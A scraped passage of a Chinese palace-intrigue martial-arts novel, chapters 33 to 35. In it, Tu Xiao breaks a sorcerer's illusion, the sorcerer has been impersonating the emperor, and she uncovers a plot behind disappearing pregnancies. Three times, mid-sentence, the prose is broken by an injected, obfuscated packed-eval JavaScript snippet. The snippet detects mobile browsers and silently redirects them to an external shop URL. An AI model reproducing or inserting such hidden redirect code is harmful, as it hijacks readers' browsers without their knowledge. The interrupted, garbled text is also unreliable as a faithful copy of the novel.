她想起宁妃各式各样惊艳绝伦的首饰头面,巧夺天工的立式银镜,架上整齐排列的炭熨斗。 ——宁妃绝不是个习惯素服简钗的人,是什么叫她突然转了性? 她想起云笈阁的池水。 ——禳灾祈福的宫灯在水面上飘荡。 她想起云笈阁偏殿角落挂着的《摩诃般若波罗蜜多心经》。 ——超度亡灵、极乐往生的一卷佛经,一个不该出现在宫里的东西。 直到此刻,屠骁仍然坚信柳娘并非自尽。 然而,凶手真是宁妃吗?柳娘与宁妃当真如传闻般水火不容吗? 一时间屠骁也分不清了。 不知道宁妃究竟是表演出一副悼亡的样子给人看,还是说柳娘的死与她无关,她是真情实意地想要缅怀。 屠骁探出手,想要搭在那人的肩膀上。那人却倏然回头,屠骁的手便落了个空。 那是一张明媚绝艳的脸,美得无与伦比。只是脸上毫无血色,肌肤下隐隐透着铁青,笑容也带着一缕鬼气。 “棠……” 话音戛然而止,她定睛瞧了瞧:“原来是屠骁啊。” “我不是。” “你就是屠骁。不信你看?” 屠骁一愣,低头看去,只见自己的衣裳忽不知何时变了,变成一套红色的劲装,脚上还踏着一双皂靴。 万柳吃吃笑起来:“你是屠骁,是云州屠家的唯一血脉。现在可想起来了?” 屠骁慢慢点头:“……想起来了。” 万柳侧了侧身子,叫屠骁在她对面的石凳上坐下。 她一边绣花,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176485|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边幽幽问道:“你们在外头,还好么?” “什么叫好?” “总归比我在这吃人的地方好。” “你在宫里过得不好?” 万柳持针的手顿了顿。 一滴眼泪落在她的手背上,她慌忙拭去,强扯出一抹笑意。屠骁想要握住她的手,她却触电般地站起身,避了开去。 屠骁望着她的背影:“你当真过得不好吗?” 万柳背对着她,身子微微颤抖。片刻,她哽咽道:“他们说什么秘籍,什么宝藏……可我什么都不知道……你呢?你知道么?” 屠骁默然。 万柳的哭声渐渐低下去,她猛地转过身,眼神满身哀怨和不甘,死死盯着屠骁:“我为什么进宫,为什么死,当真跟你一点关系都没有吗?你难道不想救我吗?” 屠骁面色血色尽褪,惶然道:“我、我……” 万柳倏地掀开衣衫,腹部的疮疤皮肉翻卷,兀自淌着黑血。随着动作,头上的青丝成缕脱落,面上的死气也愈发浓重。 她冷笑道:“我只问你一句,你究竟知不知道那秘籍的下落?万家待你不薄,死也该叫我死个明白!” 屠骁的额上渗出冷汗,像是被魇住了,张着口,怔怔凝望着眼前这可怖的景象,眼中也有泪光。 她颤声道:“我不知道……我当真不知道!” “好!” 万柳眯了眯眼,厉喝一声,抄起桌上的剪子,却并未挥向屠骁,而是对准了自己的脖子。 “等等!” 屠骁惊呼一声,忙伸手去夺。 万柳的手腕冷得要命,被屠骁一批碰,手腕上的肌肤竟如碎瓷般片片剥落。 屠骁像是没有瞧见,急道:“我的确不知道什么秘籍!只知道屠家有一本祖传的图画册子,我爹爹十分宝贝,我曾偷来看过,可怎么也看不懂。我将那册子偷了出去,后来,后来……” 说到这里,她突然卡了壳,脑袋用力摇摆,似乎怎么也想不起那段记忆,可无论怎么用力,终究是徒劳无功,她急得双用力捶头,发出“咚咚”的闷响。 万柳猛地擒住屠骁双腕,力道之大,几欲捏碎她的腕骨,她的声音却愈发柔和:“不要急,慢慢想,那册子上的画,你还记得多少?” 屠骁用手指在石桌上画起来,画了几笔,沉吟片刻,又将先前的划掉,在一旁重新画起来。 万柳死死盯着那图案,眉头紧锁,半晌,她双眼蓦地睁大,狂喜之色一闪而过。 她竭力做出温柔的模样,轻声道:“还有呢,你还记得后面的内容么?” 屠骁点了点头,顺着她的力道,被她按回石凳上。 万柳伸手在桌上一拂,绣品绷架尽数消失,纸和笔则凭空出现在桌上。她双手环抱住屠骁,下巴搁在屠骁肩上,双唇贴在她耳旁,声音柔得仿佛能滴出水来。 “你愿不愿意……为我画出来?” 屠骁提起笔,笔杆抵在下颌,仿佛在穷思苦想。 “万柳”死死盯着那页纸,胳膊微微颤抖起来。 他就要知道了,他就要知道长生箓的秘密了! 他竭力控制住自己的笑声,唇边飘出似笑似哭的“嘶嘶”声。 可笑声还是响起了,却不是从他喉咙中发出的。 他看着那支笔提起,又落下。 他听见三个字—— “不愿意。” 33. 现实 那环抱着屠骁的身子骤然一僵:“什么?” 温柔的声音此刻也带上了寒意,仿佛不敢相信自己的耳朵,又仿佛觉得这个回答荒谬绝伦。 难道是幻境出了岔子? 不可能,绝不可能! “万柳”重新牵起唇角,耐着性子,又将那声音在屠骁耳畔揉得千回百转,柔声问:“记不清也无妨,可以慢慢想……” 这一次,屠骁转过头来。 她没再开口,只是用一双眼睛看着他。 那双眼睛里没有迷离,没有痴惘,只有一片清明,清明得如同晨光刺破初春的薄雾。 “我不愿意。” 听清这四个字,“万柳”的脸终于变了。 温柔的笑意如春日薄冰一般,顷刻间寸寸碎裂。 那张明媚绝艳的脸孔扭曲了,皮肉下的青气翻涌上来,五官仿佛滴入清水中的浓墨,迅速地化开、流淌、重组,只一瞬间,便化作一个面如冠玉、目若朗星的青年道人。 但这面容也只停留了一刹,随即又如水波般荡漾开去。 他的嘴唇无声翕动,口中振振有词,似乎在催动某种极为高深的功法。 随着语音发出,只见那张脸的肌骨急速变换,似是被无形大手用力揉捏、拉长、收紧,瞬息之间,便定格成了当今官家的模样。 周遭的桃林与石桌也在刹那间散去,俨然又回到了太一宫那幽暗馥郁的寝殿。 头一次见识到如此神奇的幻境,屠骁脸上终于现出骇然的神色。 “官家”很满意她此刻的表情,口中却关切道:“万昭仪可是魇着了?可用本君为你请一道国师的静心符来?” 屠骁用力摇头,眼神惶惑。 “官家”笑道:“既如此,那便安歇吧。” 言语间,他已握住屠骁的手腕,那掌心灼热如火,只轻轻一带,便将她牵至龙床跟前。 他先脱了那身杏黄道袍,随手扔在一旁,又伸手来解屠骁的衣衫。 他的脸渐渐凑近,灼热的吐息如蛇信般喷在屠骁光洁的肩头,缓缓上移,顺着屠骁的脖颈来到耳侧。 女人的脸庞和双唇近在咫尺,他的手愈发温柔小心起来。 今晚,他会得到这个女人。 只要她成了自己的人,便不愁她不吐露出长生箓的秘密。 女人,女人,得到了女人的身子,岂不等于得到了她的一切? 可他唇角那丝得意的笑意尚未化开,便忽觉身下陡然一麻,随即丹田真气暴走,一股绞心之痛轰然炸开。 他一声闷哼,整个人像一只被滚水烫熟的虾子,猛地蜷缩起来,额角冷汗涔涔滚落。 “你、你……” 他死死瞪着屠骁,口中断续,还没来得及说出下一句,便觉天旋地转,被一记擒拿手死死按在了锦被之上。 他的脸尽数埋入被褥之中,口中只能发出“呜呜”之声。 屠骁的膝盖如铁桩一般,死死顶住他的后心要穴,另一只手揪住他的头发,将他的头生生掰了起来。 他大口喘着气,眼中又惊又惧,面上却兀自强作怒容,嘶声道:“大胆!你竟敢行刺……” 每说一个字,背上的力道便重上一分。 到了最后,话音已经细不可闻,只剩下嗬嗬的痛呼。他扭身挣扎,奈何自己并不以武功见长,又怎么挣脱得了屠骁的巨力? 屠骁慢条斯理地将衣衫拢好,膝盖又往下压了压,挑眉道:“大胆,你竟敢冒充官家!” 他心中剧震,只觉一股寒意从尾椎骨直窜上天灵盖。 他怎么也想不通自己的幻术为何会失灵,她又是从哪里辨认出自己与官家不同的? 他索性不再挣扎,默然片刻,喉间竟发出一阵夜枭般的朗笑,口中振振有词,低声诵念起方才那秘咒。 周遭的铜灯烛火应声摇曳起来,景物又有了扭曲变幻之兆。 可这一次,他的咒语只念了半句,便被屠骁用被角塞住了嘴。 顿时,他的口中只剩下呜咽,那即将再度产生的幻境也倏然消散,一切又恢复了原状。 屠骁拍了拍他的脸,故意道:“这点雕虫小技,也好意思出来卖弄?” 这话说完,果然见他变了脸色。 屠骁冷哼一声,默默调息运气。 这西天魔教的幻术过于霸道,她的解毒丸并不十分对症,又哪里真有本事破得了这幻境?多亏了她及时咬破舌尖,才勉强能够维持几分清醒,此刻不过是虚张声势罢了。 之所以能瞧出破绽,只因她自踏入这殿门的一刻起,便察觉到官家身上的道袍裹得极紧,举手投足间,总下意识地护住心口,仿佛那里藏着什么比身家性命还要紧的东西。 而眼前这个假货却迫不及待地宽衣解带,若不是她意志坚定,恐怕早就被他骗了去。 “梦断”的香气更浓了。 屠骁反手在身上连点数穴,封住经脉,压低声音,一字一句地问道:“你将我姐姐带去哪里了?” 他没有回答。 “是你杀了她?” 他喉中发出“嗬嗬”的声响,那声音里充满了得意与嘲弄,那眼神中更是不加掩饰的轻蔑。 屠骁被他这笑声激得心头火起,手上登时加了三分力,他立时痛得发出一声惊呼。 还要再问时,却忽然觉得膝下一空,身子往前一扑。 被她死死压住的“官家”,身体竟凭空一拧,化作一滩烂泥从她膝下滑走。那具身体在地上轻轻一沾,便倏地化作一道青烟,射出屏风之外。 屠骁大惊,来不及思索,足尖一点,立刻去追,三两步绕过屏风,不料对方不闪不避,反倒迎面走来。 她冷哼一声,手指成爪,指风已点向他胸前大穴。 “哎哟!” 他慌忙之中抬手一格,却仍是被她打中,大叫一声,踉跄两步,撞倒了屏风。 呆了一呆,他厉声喝道:“放肆!你这是刺驾!” 屠骁冷笑道:“同样的把戏,你当我还会上第二次当么?” 她话音未落,身形已动,数道指影虚虚实实,尽数罩向对方周身大穴。 对方慌忙之中抬起一只手臂格挡,被她逼得狼狈躲闪、左支右绌。 眼看便要中招,斜刺里忽然探出一只厚实的手掌,只轻轻一拨,便将屠骁的攻势引开。 是章怀恩。 章怀恩挡下屠骁一招,慌忙扶住官家:“仙君息怒!” 屠骁看着挡在官家面前那座肉山,更是冷笑不止:“你假扮官家也就罢了,连这老狗也能变得出来?” 说罢,一掌便朝章怀恩的天灵盖拍去。 官家勃然大怒:“你这贱妇是疯了不成,胡言乱语什么!” 话音未落,已有太监从殿外鱼贯而入,迅速将屠骁团团围住。 混乱中,不知是谁撞翻了铜炉,炉中紫烟霎时断绝,几盏烛火也随之黯然熄灭。 屠骁环顾四周,缓缓收了手。 官家在章怀恩的护持下,左手仍是下意识地紧紧护住心口的姿态。 瞧见这一幕,她这才意识到,这不是幻境,国师早已不知所踪。 是什么时候,幻境变成了现实? ……是了! 定然是在国师化作青烟蹿出屏风的那一刻! 可为什么官家来得这么快? 难道……难道他一直就在屏风之后,从没有离开? 官家倚在章怀恩身上,揉着心口,喘了又喘,却始终无法平息怒火,当即下令:“将这疯妇拿下!送去宫正司!” 那几个太监立刻围拢上来。 屠骁本可以逃出去的,也有本事打败这几个太监,可她不能逃。 她的视线跃过人群,看见了院中一地的脊背,雪落在他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187043|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袍上,仿佛覆上了一座座林立的坟包。 面无人色、满目惊惶的元鸣从坟包中抬起头,正与她遥遥相望。 屠骁咬了咬牙。 此刻她终于明白,人永远只能是人,永远做不成一把刀、一匹狼,永远也斩不断身上的丝线,抛不掉身后的同伴。 孤狼猛兽之所以快意纵横,只因了无牵挂。 可若真没了牵挂,纵使立于不败之地,人又是否还能真的算是人? 今日之事,除了认输,再无他法。 几滴眼泪瞬间从屠骁眼中挤出,她的脸上神情瞬息万变,冷傲与杀气霎时褪去。 顿了一顿,她忽的身子一转,竟直直朝着一个太监走了过去,双手微微颤抖着,仿佛要抚摸那太监的脸颊。 那太监大惊失色,正欲出手格挡,却听她口中低声喃喃,如同梦呓:“姐姐,姐姐……” 这话一出,众人皆是一怔。 官家盯着她看了片刻,只见她又哭又笑,神色癫狂,不似作伪,心中的怒火竟莫名消散了些许,不由地叹了口气。 屠骁听见那声叹息,像是被人当头敲了一棒。她霍然转头,瞧见官家时,身子一软跪了下去,面上满是狂喜。 “仙君显灵了!方才……方才我见到姐姐了!” 见众人神色有异,她才又抬起一双泪眼,茫然道:“这是怎么了?” 官家见她可怜,心中的怒气已消了大半。 想到这位万昭仪是唯一可能解开长生箓秘密的人,他顿时后悔方才要将她治罪的话。 但叫他收回成命,撤销决定,也实在有损颜面,难以开口。一时冷脸瞪着屠骁,一声不发。 章怀恩会意,立刻躬身道:“臣看昭仪娘娘是因过于思念先淑妃,以致神思恍惚,一时冲撞了仙驾,念在她年幼丧姊,情有可原。” 官家不置可否,但面色显然和缓了几分。 又听章怀恩继续道:“先淑妃在世时贤良淑德,虽有些差错,但终归侍奉仙君素有功劳。依臣之见,不如请国师在宫中做一场法事,上可为仙君与我大周祈福禳灾,下可为先淑妃超度亡魂,以慰昭仪娘娘思亲之苦。” 官家故作为难,挥手道:“唉,也罢,你去办吧。” 章怀恩垂首应下,定定看了屠骁片刻,露出一个莫名的笑来。 章怀恩说这番话时,屠骁始终一言不发,直挺挺地跪在地上,身子微微颤抖。 她做不出什么梨花带雨的可怜情状,到了此刻,骨子里透出的仍是一股宁折不弯的铮铮之气,俨然并不知道自己错在哪里。 这副模样落在官家眼中,便成了强忍悲痛,故作坚强,又被情势所迫,不得不低头认错。 官家冲她招了招手,声音已变得十分温和:“过来。” 屠骁起身走了过去。 官家拉住她的手腕,止住她想要抽回去的动作,在那手背上轻轻拍了拍,安慰道:“你好生歇息几日,切勿胡思乱想。” 屠骁眸中尚有泪光,抬头问:“那法事上,我……妾还能见到姐姐吗?” 官家笑道:“你姐姐的仙蜕已送往上清观供奉,早已魂登极乐。日后你可以去观中祭拜,若是实在想念,便在宫里设一处香案,时时祭奠。” 屠骁破涕为笑:“多谢仙君。” 可她的心却沉了下去。 七七四十九日,今日正是最后之期。 她终究没能带走柳娘。 她可以断定柳娘是被毒害而亡的,可自己于药理一道并不精通,更来不及查探柳娘的真正死因。 而那个失踪的胎儿,又究竟在哪里? 直到此刻,她手中已经握住了无数线索。 但线索越多,眼前的迷雾反倒越浓,叫人不知道该走向何方。 她更不知道,这片迷雾之后,等待她的究竟是通天坦途,还是另一片更深的沼泽。 34. 恨 又是刺驾,又是发癔症,即便不被治罪,这样的妃嫔恐怕也无法再得圣宠了。 但万昭仪偏偏得了圣宠,这着实叫守静宫的人倍感意外。 只是这意外之中,是喜多一些,还是怕多一些,恐怕就难以分辨了。 若叫屠骁来说,暂且可算无惊之喜。 只要长生箓的秘密一日不吐露,便可保她一日安稳无虞。 谋定而后动,此刻的她只需要静待时机。 等待她的帮手,等待一个合适的机会报仇雪恨,等待机会带走柳娘,哪怕只是一抔骨灰。 她很平静,但章简却不然。 一双总是含着笑意的眼睛,此刻却凝着一团阴云,死死盯着桌上那个紫檀锦盒。 锦盒里正是官家御赐的“仙丹”。 此仙丹乃是由国师亲手炼制,采撷天地奇珍,九转功成,每月丹成不过两颗,悉数呈于官家。 当今天下,除了官家本人,只有两人得过此等恩赏。 一人是当今圣人,另一人便是他的干爹章怀恩。 干爹那一枚,也不过是在数年前因功得赏,至今仍舍不得服用,只用锦盒供在床头,日夜顶礼。 可如今,这位万昭仪一场疯癫,险些将龙驾刺于榻上,非但无过,反而有功,竟得了这人人艳羡的仙丹。 还一得就是两颗。 这如何不叫人嫉妒?如何不叫人心酸? 只要轻轻瞥上那锦盒一眼,章简的心中就翻涌起一股浓稠的刺痛。 干爹伺候官家几十年,竟不如只睡过一次的女人。舍身救驾,竟也比不过或许可能解开长生箓的一丝丝希望。 可笑,可笑! 可他又有什么资格发笑? 他们不过是太监、是下人,是被踩在脚下的地砖,是垒起高墙的黄泥。 他自视甚高的武功、智慧……终究也越不过身份的鸿沟,终究也无法叫他成为一个真正的人。 能托着主子步步登天,他该感到荣幸。 万昭仪侍寝成功,至少说明,官家雄风不减当年,这些年不近女色,并非因为龙体衰败,只是未曾遇上能撩拨起他兴致的女子。 ——或许他就喜欢这种带着野气、不驯服的烈马。 这至少也说明,这位万昭仪有资格、有能耐固宠,诞下龙嗣也并非遥不可及的梦。 他本该欢喜,可他就是欢喜不起来。 他像是得了瘾疹,呼吸之时整个胸腔、连带着心口都又疼又痒。 他不知道有时仰慕和感动也会叫人痛苦,只好将之归结为嫉妒。 和恨。 一定是这两颗仙丹的缘故,他想。 是的,一定是的。 如此不公的赏赐,实在叫人心绪难平。他必须、必须要想个法子,从她手里弄来一颗,献给干爹。 “你很想要?” 章简猛然抬头,正对上屠骁那双天真到有些残酷的眼眸。 “如此珍宝,又有谁能不动心?” 章简很快便恢复了那副笑脸,微微躬起身子,“若说不想要,想必娘娘也不会信。可臣知道,想要是一回事,能不能要却是另一回事。似臣这等身份,实在是无福消受仙恩。” 屠骁的唇角勾起一抹森然的弧度,抬手打开盒子。 两枚龙眼大小的丹丸静卧其中,色泽朱红,流光浮动,药香扑面。 哪怕是她这等不通药理的人,也分辨得出此药定然是价值连城、珍贵非凡。 但她不会吃,因为她知道这绝不是什么好东西。 她拈起一颗仙丹,举在眼前看了看,忽的探出手,灿然一笑。 “既然你想要,那便拿去吧。” 章简瞳孔骤然一缩,几乎是立刻便拒绝:“官家赐予娘娘的仙丹,臣万死不敢领受!” 屠骁已走近。 那枚丹药几乎递到了他的唇边,她的声音也仿佛带着某种魔力:“天知,地知,你知,我知。除此之外,再无第三人知道。吃吧。” 她的声音很轻,轻得像是歌女揉动琴弦的手指,像是夫妻之间情到浓时的爱抚。 吃吧。 他看见地狱业火在燃烧,金银财宝闪着幽光,魔鬼冲他吐出呼吸。 吃吧。 他听见仙宫梵音在奏响,风吹满山桃花,如纸屑般轰然散去。 “吃吧。” 这声音比世上所有的音乐都要动听。 他当然想长生,他当然怕死。 他怕自己像这宫里任何一个阉人一样,生而寂寂无名、死而悄无声息,更怕命运的报应先一步降临,将他这块本就不规整的青砖踏成粉末。 吃吧,这是她主动给的,为什么要拒绝呢? 他眼下青皮跳动,嘴唇微微翕动,几乎就要迎上那颗丹药。 可他终究没有动。 他如同一只生在沼泽里的蚂蟥,卑微、阴暗、扭曲,越是毒瘴遍布,他越是如鱼得水、悠游自在。 阳光、清泉、鲜花、信任,这些干净的东西才是毒药,会叫他刺痛、抽搐。 最后死亡。 他踉跄着退了两步,身子因为剧烈的挣扎而不由自主地痉挛,脸上肌肉错乱,如同中了剧毒一般。 “臣不敢!” 他“扑通”一声跪倒在地,向后连蹭两步,头重重叩在地上。 连干爹都舍不得吃的东西,他怎么敢吃? 若是叫干爹知道了,他便是有一百张嘴也说不清了。 “不要算了。” 屠骁语带惋惜,“若是只有一颗,我倒也舍不得分你。可谁叫我有两颗呢?” 章简垂着头,心潮起伏,那句“想要”几乎就要冲口而出。 可他还未来得及发出半点声息,便只听见一道轻微的吞咽声。他抬起头,只见屠骁喉头微微一动,已就着水将丹药咽下。 “叫元鸣进来为我推拿。”她放下杯子,淡淡吩咐。 章简知道,她定是承宠之后筋疲力尽,连忙躬身,识趣地退了出去。 门外的寒风一吹,他才觉遍体生寒,方才竟已出了一身冷汗。 他想,或许干爹的苦肉计已不必再用,这位万昭仪已然足够信任他了。否则,又怎么会将如此珍贵的仙丹分他一颗? 可他从不会质疑干爹的决断。 干爹便是要他将自己的脑袋拧下来,他也只会毫不犹豫地照做。 苦肉计开始了。 不出三日,章简因擅闯五方塔被拿下,关入诏狱。 章怀恩勃然大怒,当即上表,言说此子无法无天,请按律严惩,竟是做出了大义灭亲的姿态,与章简恩断义绝。 章简在牢里等了几日,等来了吕自安。 他托吕自安将信送出,只求见昭仪娘娘一面,有要事相告。 她果然来了。 带来了吃食,还有一盒清淤膏。 隔着牢门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208975|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,章简对她言道,章怀恩为平官家怒火,已然舍弃了他,将十年父子情弃之不顾,他心灰意冷,甘愿投靠娘娘,将章怀恩所有秘密尽数相告,还愿助娘娘解开长生箓。 她似乎被他这番话打动了。 又过了两日,章简便被放了出来。 他被罚去了掖庭,恰好跟瘸了腿的严律在一处做活。待了两日,元鸣便来将他领回了守静宫,在吕自安手下听差。 代价是一颗仙丹。 “娘娘去找了章伴。”吕自安对他道。 余下的话不必再说,章简已经明白了。 正因明白,他心中愈发酸痛,如同脓包被刺破,腥臭的液体四处横流。 昭仪娘娘竟愿用仅存的仙丹换他的自由,这便是将他彻底视作了心腹。 这番苦肉计,非但可以获取万昭仪的信任,还能为干爹换来一颗仙丹,可称大功一件! 可他忍不住想问,他值得吗? 若是她早生几年,若是他先遇上的是万昭仪,又会如何呢? 会不会……他同样甘愿为她卖命呢? 会不会,他也同元鸣一样,押下余下半生,同她赌一场荣华富贵、金玉满堂? 他不知道。 他更不知道的是,那日屠骁根压根没有咽下仙丹,那颗本该入腹的仙丹此刻正静静地躺在云笈阁的桌上。 桌上的丹药有两颗,色泽、气味,竟无半分差别。 “我竟不知娘娘也有一颗仙丹。” “这本是官家赐给圣人的,圣人赏了我一颗。” “娘娘怎么没有服下此丹?” “那你呢?怎么也没有服下呢?” 室中一时安静下来,宁妃吹了吹茶汤上的浮沫,将茶盏送到嘴边,顿了顿,又搁在手边。 两人对视一眼,都瞧出了心照不宣的寒意。 “这仙丹果真有长生不老的奇效么?”屠骁讷讷。 “有些事,你知,我知,炼药的人知,吃药的人或许也知,可这天下又有谁敢挑明了说?起码官家的确是龙体康健,一日强过一日,这便够了。” 宁妃冷笑一声,那笑意比黄连还要苦涩三分。 屠骁叹了口气。 默然片刻,又将侍寝那晚的事简略说了。 还未说完,便听“哐当”一声。 只见宁妃脸上血色褪尽,滚烫的茶汤泼了满身,她却恍若未觉,只是颤声低喃:“果然……果然……” 她本只是有些疑心,直到此刻,听完屠骁所说,心中种种猜测才坐实。 屠骁的面色也凝重起来:“所以,娘娘也早就察觉到了?” 宁妃仿佛没有听见,过了许久,才猛地回神,凄然一笑:“人人都道我盛宠不衰,可谁知道,我已有十年未曾承宠了。因为官家他、他……他实在是太老,太老了。” 屠骁挑了挑眉:“他不举了?” 宁妃被这直白的话唬了一跳,却也没有反驳,只是惨笑,声音发颤:“好在官家不忍周家做大,将杨家扶了起来,我膝下又有二大王,倒也不算冷落。只是这些年我协理宫务,有些事便是不想知道,也必须得知道…… “林婕妤曾与我提过,官家颇有些急色,动作粗暴。她不常面见天颜,不曾深思,只是私下与我抱怨几句,给我看了她身上的伤。可我一听便知道,官家实在不至于此,他似乎,似乎……” 她像是想到了什么极为恐怖之事,竟说不下去了。 35. 孽种 屠骁冷静接口:“似乎变了个人。” 宁妃抖了一抖。 屠骁没有给她反应的时间,紧接着道:“那是因为,他的确变了个人。” 宁妃紧紧抓着屠骁的手,急切道:“他可曾得手?” 屠骁摇头。 宁妃长长松了口气,眼中泪水滚滚而下。 谁能想到,天底下最尊贵的女人们,竟沦落为一届江湖术士的玩物? 此时的她,已不再是狡猾的狐狸,而是一个猎物,一个生活在弓箭、刀斧阴影下的猎物。 相比之下,屠骁倒是颇为镇定。她已然开始思索对策。 宁妃见状颇感欣慰,又觉心酸,不由地道:“我劝你,有些事还是装作不知道的好。” “可我既然知道了,就没法装作不知道。” 屠骁定定看着她,“你也不必再对我隐瞒。我姐姐的死既与你无关,你又何必承认?” 宁妃怔了半晌,终于叹了口气。 “宫中皆道我与淑妃不睦,要想法子毒害她的孩子。其实,我才是最盼着能有皇嗣诞下的人。” 屠骁慢慢点头:“的确。二大王已十岁了,若是后宫迟迟没有子嗣诞生,总有一日,二大王的身份会败露,到那时才是真正的万劫不复。” 宁妃想到什么,森然一笑:“白司药没了,还会有黄司药、蓝司药……但不要紧,我杀得了一个,就不怕杀一双。只要我杨夭活着一日,谁也别想挡我的路!” 屠骁却讥笑:“那兰娘子呢?她也该死吗?” 宁妃垂下头,片刻后又抬起,理所当然道:“她一心想要报答淑妃,我为她指了条明路,她死也会感激我的。只是……我没想到,你姐姐竟会那样蠢。呵,她总也狠不下心,总也不愿害人,愚蠢至此,注定活不长久!” 她虽是怒骂,语气却并无责备,反倒叫人心生悲戚。 屠骁手指在桌上敲了敲,恍然道:“所以,你索性认下这罪名。若我怕了你,从此肯安分守己,那自是再好不过;若我认定你是真凶,找你寻仇,你自然有的是手段等着我。其实,你早知道真凶是谁。起码心中有了猜测,是么?” 宁妃只是道:“你就当是我吧。” 屠骁沉默许久。 终于,她轻轻道:“我明白了。” 她全都明白了。 昨晚官家来得那样快,因为他根本就未曾离开,他一直就在屏风之后冷眼旁观。他默许了国师假扮他,与他的妃嫔行云雨之事。 这或许就是他们之间的交易——他将后宫的女人献给国师,而国师助他长生。 而那些孽种自然是不能留的。 所以,胎儿一个接一个地消失了。 原因么,自然是后宫女人善妒,世间简直没有比这更正当的理由了! 只要稍加引导,甚至不需要亲自动手,他们便可坐收渔利。 那么,柳娘呢? 她的孩子,是否也是孽种之一? 一股杀意自屠骁身上腾起,她霍然起身,一言不发,大步离去。 “站住!” 宁妃冷喝一声,快步上前,一把扣住屠骁的手腕,压低了声音,“你又要犯什么蠢?难道你还敢招惹他们不成?” 屠骁想了想:“我的确不能招惹。” 起码暂时不能。 宁妃的手反而更用力了:“吕自安已给了你,若是你信得过他……” 屠骁立刻道:“信得过,我正要叫他去做一件事,叫他——” 宁妃倏地转过身:“不必告诉我!他已是你的人,死了也是你的事,与我无关。” 屠骁还要说些什么,却忽听叩门声响起。 宁妃用指尖掠了掠鬓角散发,那严肃端凝的神态顷刻便收敛得干干净净,声音也恢复了往日的慵懒。 “何事?进来。” 宫女脚步轻碎,游鱼一般滑了进来,恭敬垂首道:“禀娘娘、昭仪娘娘,方才澄心斋来信,道甄修仪有孕了。” 空气骤然凝滞,连浮尘都静得停在了半空。 宁妃动作一顿,与屠骁交换了一个眼神,半晌,呵出一口寒气,不耐道:“还以为什么大事呢,知道了,去吧!” 那宫女如蒙大赦,转身便退,快要走到门边时,宁妃的声音又自身后追来:“齐贞呢?今日不是她当值吗?” 宫女想了想,答道:“齐娘子方才去清微宫报信了,想来片刻便回。” 宁妃点了点头,缓缓在屋内踱起步来。 甄修仪有孕一事,便如一块投入深潭的巨石,不知又要牵起多少波澜、溅起多少水花。 白司药已死,他们断不会再从安胎药下手了,那么,下一个出手的会是谁? 甄修仪有没有被幻境所摄,她的孩子……究竟是谁的? “你先回去,不要声张。” 宁妃无心再留屠骁,挥手将人赶走,便将自己关进了门内的寂静之中。 且不论旁人如何作想,对于后宫妃嫔而言,有孕本是一件喜事。可甄修仪却没有丝毫喜悦—— 这孩子实在来得太突然了。 她素来体弱,上次落了胎,足足修养了一年才将将恢复过来。她深知一旦有孕便是极大的不便,待到一朝分娩,恐怕又是九死一生。 宁妃会不会出手,自己会不会落得跟先淑妃一样的下场? 同样的痛苦她不想再体会一次了! 一想到在这步步泥沼之中,还要带着这样一个累赘,她几乎想要立刻将它从腹中剖出。 更何况,这个孩子即便生得下来,又怎么留得住呢? 她能勉力顾住自己已是不易,哪里还有本事护得住第二个人? 与其如此,倒不如压根不要出生的好。 只是,孩子,孩子…… 若不是蔺元诲,若不是杨家,她本也该有个孩子! 她本该嫁给青梅竹马的表哥,举案齐眉、相敬如宾,与他一道期许孩子的到来,满心雀跃地准备孩子的衣物、思索孩子的名字,绝不会是现在这样,惊惶、无助,不知所措。 她知道药局有宁妃的人,这消息想瞒也瞒不住,没了一个白司药,还有张司药、王司药,宁妃不会放过她的。 能救她的,只有一个人。 “圣人!” 甄修仪跪了小半个时辰,膝盖已全无知觉。清微宫内暖意烘融,她却冷得浑身发颤。 “妾的命是圣人救的,没有圣人,便没有今日的甄修仪,更没有妾腹中的这块肉。” 她忍不住伏倒在地,额头重重磕在地上,“妾这样的贱命实在无法抚养皇嗣。只求圣人垂怜,待它平安落地,为它赐下一方庇荫,妾便是死也心满意足了!” 圣人的头风今日又犯了,她没有开口,由得甄修仪在地上跪着,自己则握着一柄银剪,专心致志地修剪着一株山茶。 身畔的宫人与她低声耳语,将剪下的残花收在篮中,她微微一笑,一分眼神都没从花上移开。 这态度叫甄修仪感到恐惧。 没有谁比她更清楚,圣人对官家用情至深,若不是膝下无子,恐怕后宫众人再如何撕咬,也无法打动她分毫。 自己若求宠,便是背叛了圣人;若不求宠,又恐被他人踩在脚底。 这些年来,她于帝后夹缝之中小心求存,虽战战兢兢,却总算摸出一条生路。 之前有孕一事已引起圣人不满,后来又落了胎,她便想着自己身子受损,恐难有孕,况且官家也鲜少召幸她,应当不至于重蹈覆辙。 